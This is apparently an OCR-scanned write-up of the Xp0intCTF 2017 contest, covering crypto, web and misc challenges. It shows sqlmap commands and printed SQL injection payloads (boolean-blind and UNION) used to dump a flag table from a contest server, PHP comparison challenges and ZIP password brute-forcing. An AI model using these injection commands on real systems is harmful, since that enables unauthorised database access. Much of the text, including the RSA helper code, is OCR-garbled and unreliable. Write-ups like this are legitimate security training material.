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0 —1.233  welcome to our competition!today is a nice day,i hope that vou can win the prize and share it with me. our
team is best in my mind,but i am too weak.so i am working hard to study.the most important thing is that i
will tell you a secert that the flag is wordfrequencyanalysis. the trouble is that this analysis needs more
to analyze, so i am going to have a chat with you.but i do not know what to talk about with vou, i am very

hard, i hope you can forgive me. http://blog. csdn. net/P201711
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0 —1.233 welcome to our competition!today is a nice day,i hope that you can win the prize and share it with me.our
team is best in my mind, but i am too weak.so i am working hard to study.the most important thing is that i
will tell vou a secert that the flag is wordfrequencyanalysis. the trouble is that this analysis needs more
to analyze, so i am going to have a chat with you.but i do not know what to talk about with you, i am very
hard, i hope yvou can forgive me.
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'%Hj\—ﬁ.e’ py qE/‘JII\%E‘YRA‘F? ﬂ‘y\ﬁﬁﬂjd'

def eged(a, b):
if a ==
return (b, 0, 1)
else:
g, v, x = egedb % a, a)
return (g, x — (b // a) * vy, vy)
def modinv(a, m):
g, %, v = egcd(a, m)

if g != 1:
raise Exception(’ modular inverse does not exist )
else:

return x %
* RSAM##, 19%Iflag
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:~# sqlmap -u "http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1lf7b69a407affaz/index.php?id=
15808%27'" --current-db

http://sglmap.org

'l legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused by this program

*] starting at ©2:30:50

Eqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=125'"'' AND 8858=8858 AND 'fQpD'='fQpD

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns

Payload: id=-8505' UNION ALL SELECT NULL,NULL,CONCAT{O0x7178767871,0x4b507152666e4e645158776648566165
647575535176745677735562556d787a4379617141497451,0x716a7a6271) ,NULL-- tpCa

02:30:51] [INFO] the back-end DBMS is MySOL

eb server operating system: Linux Cent05 6.8

eb application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5

urrent database: "testl’

*] shutting down at ©2:30:51 http://blog. csdn. net/P2017118
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Database: testl
e: flag
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o sqlmap -u “http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1f7b69a407affa2/index.php?id=15808%27‘” —current-db

o glmap -u “http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1f7b69a407affa2/index.php?id=15808%27‘" -D test1 —tables
o sqlmap -u “http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1f7b69a407affa2/index.php?id=15808%27" -D test1 -T flag
—columns

o sqlmap -u “http://119.29.191.200/ctf/7601547c91c318b3f60df2a6f1f7b69a407affa2/index.php?id=15808%27‘” -D test1 -T flag -
C flag —dump
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o FTTF SO, N OF ) 2Rk =04 B 77 5 2R I flag
B EsflagEGiEEM=.zip 2017/10/21 23:17 WinRAR ZIP 455244 132 KB
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fflag {GzZ1PT7rVJ117} flag {UFgKhN1BgewpBzM5z} flag {PjY9I6GE1KxHrl} flag {J5jbCQ7yVUJPFEINF} f1
ag {GOBt2XvMEEnT3YWcG) flag {GG1fJe8cd23P} flag {5p7z09KCrENY9HqfSq} flag {GhUyb1ToeOMkkx} f1
} flag {wrSVA0852d0Jsr7 j6dBT} flag {aTUHEEwfrloxPR} flag{ehq7pmjbAIZgA} flag {nzT96xBcuzSU j}
{t5te0ar0IAWr] flag {p4Qm0tU4QS8mjieMwSh} flag {sYPFKe4HUsnZYpabwf0f} flag {QyFbATxt2jVS9ap
} flag {A7S6N8ew5DziBz} flag {ff4SVrkSOBCw69zpzf} flag {0oqr9F jgR2h9W} flag{jO1Kv6s41P18sThb
237b5rIyhiSEf0qsFq6Z} flag {aMdpwHW3uqLV878} flag {X9j0c4VHkpW1qvWu9S} flag {NsNym21dzqCEEB
g {dp6TWcIsvTRg3idMX} flag {yKt6Uznfhg605GQ} flag {mmI5pBNbBOVQ jSEUMPQ} flag {Hk2Y45ZK9gzUk7
0UCstd3hVighZNcghr} flag {yq9PuHjatQwK} flag {CLvWXQ9aN6dNGBuppRjv} flag {0ZQfOnKxNc2UTmm10
Anhvt} flag {jUWVJ1dBRPsRzIR47S} flag{W4j6CIitCLmFIe} flag {50BFmrNrnBBJCFBoj} flag {g2Ligwl
wKOOW} flag {z1mUOtQssu4FN} flag {aIQB5cQunR2YkMZk} flag {p1DA3g3xLWjP55wS6qGh} flag {T1Qup03
OfK4fPWV4HEH] flag {kGLk4i0yW17xYtceeP4) flag{0VyCl4blMsUbve2l} flag {rp6BFQMQACZRQefH} fla
EAbrXArP5w} flag {sN0O5dLbCdZ9zB2BRM} flag {odPgLG jMIDbRaYo} flag {8xvZklvKmR17} flag {KVtpYJH

2H
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tDX}flag{yEPuZLceR6b91mCU}flag{ipdlbADRe747JF0gUz}flag{0Ww
kyflykhn9M} flag{DusfD6sFZVN25}flag{ugMBZ 1xWgwePxmyNbc0}fl:z
GtD84geRr}flag{RIxTVss288FI75}flag{loublXnrgVFeV}flag{aQJt
TWExQXV1IQ}flag{uZW5L4JQ0becIQJPpf}flag{hj5KoS1ocKhL31KF}flac
9ZbrCScTuene} flag{NBNDeTP45te0XUgmvE} flag{fjgUinl1FEGSTIFWit
Y1ly21g}flag{aOPGAYEQguuk3}flag{XGePOfzawsSCebplZyk}flag{Mck(
{PteykgHMiBKiQf}flag{x3mwwKZN1WmBN} flag{llcRho37VdRvdpl}fl:z
PLRbTFpFXwtSz} flag{dyELfLOgtNleIlyv}flag{xnalOnweTell}flag/
3PBLdUukDidkt} flag{7aBhNSmcT5MdIezr}flag{JagmyyeblsbtuXb}{
L75cJd}flag{KEZ6iExTgN9dkgU}l flag{mhtHNeLS4TWgBgs8V}flag{vw:z
lag{vraabdViT708hhQEwcAs} flag{TIMxBOegfZMxUQQB2vEP}flag{Dy
g{dtY¥dNntadXszQNX} flag{wSHK]JR68186CkL}
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flag

flag{what_1s_g3t}
$what=$% GET['what'];
echo $what;
if($what=="flag")
echo 'flag{****};

(webZ & N1 k)
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2 Blems Omts () wtsss |

thtml> €9

+ <body><br>fwhat=%_POST[ 'what'];<br>
echo $what;<br:
if($what=="flag" )<br>

echo "flag{**%*}";<br>»

v ¢form action="1.php” method="post"™>
<input type="text" name="what"™>
<input type="submit” walue="1"»
«/fForm»
</body>

—BF & HARE
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€ (® 119.29.191.200/ctf/46d3e59de07abaac6b2078c35aa4c16a03d10df3/?num=1" 1
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flag{wedk type cOmpare}$num=3$ GET['num'];

if(lis_numeric($num))
{

echo $num;
if($num==1)

echo 'flag{**********}‘;

}
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S W Al A S 0 @ 0

Open Save Start | Stop Benchmark  Help About Cuit
Encrypted ZIP-file Type of attack
IE AP R RV K \encry| oW - | Brute-force v

Range Length Dictionary Plaintext Auto-save Options Advanced
Brute-force range options

All caps latin [4 - Z) Start from: [@

All small latin (a - 2)

All digits (0 - 9) End at: ] ¢

All special symbols [1E...] Mask: [@

Space .
] Al printable User-defined[] €0

Status window E
TR | A

201710/2316:21:14 - Starting brute-force attack...

2017/10/23 16:21:16 - Password successfully recovered | l

2017210/2316:21:16 - '2333" iz a valid password for this file v
Current password: Average speed:
Time elapsed: Time remaining:

Frogress indicator
0%

AZPR version 4.00 (c) 1997-2005 ElcomSoft Co.Ltd.

—KEHERE A
SIHRATRG, RAEMIER T ARHO R BB, T SRS R, I T IR, U TR

s FTP R E N, i StegSolve B AT .



	Xp0intCTF 2017 writeup
	SGA
	hint:Encyclopedia is your good friend！

	弗拉戈在哪里？
	弗拉戈在哪里2?
	犯人留下了信息
	Hint1: 盲水印

	Xp0int大家庭
	好像说太多了
	EasyRSA
	一个简陋的博客 Web
	重重flag背后隐藏的秘密
	《web安全入门第一课》
	《web安全入门第二课》
	一段矛盾的代码
	这次真的加密了
	一张含有信息的图片

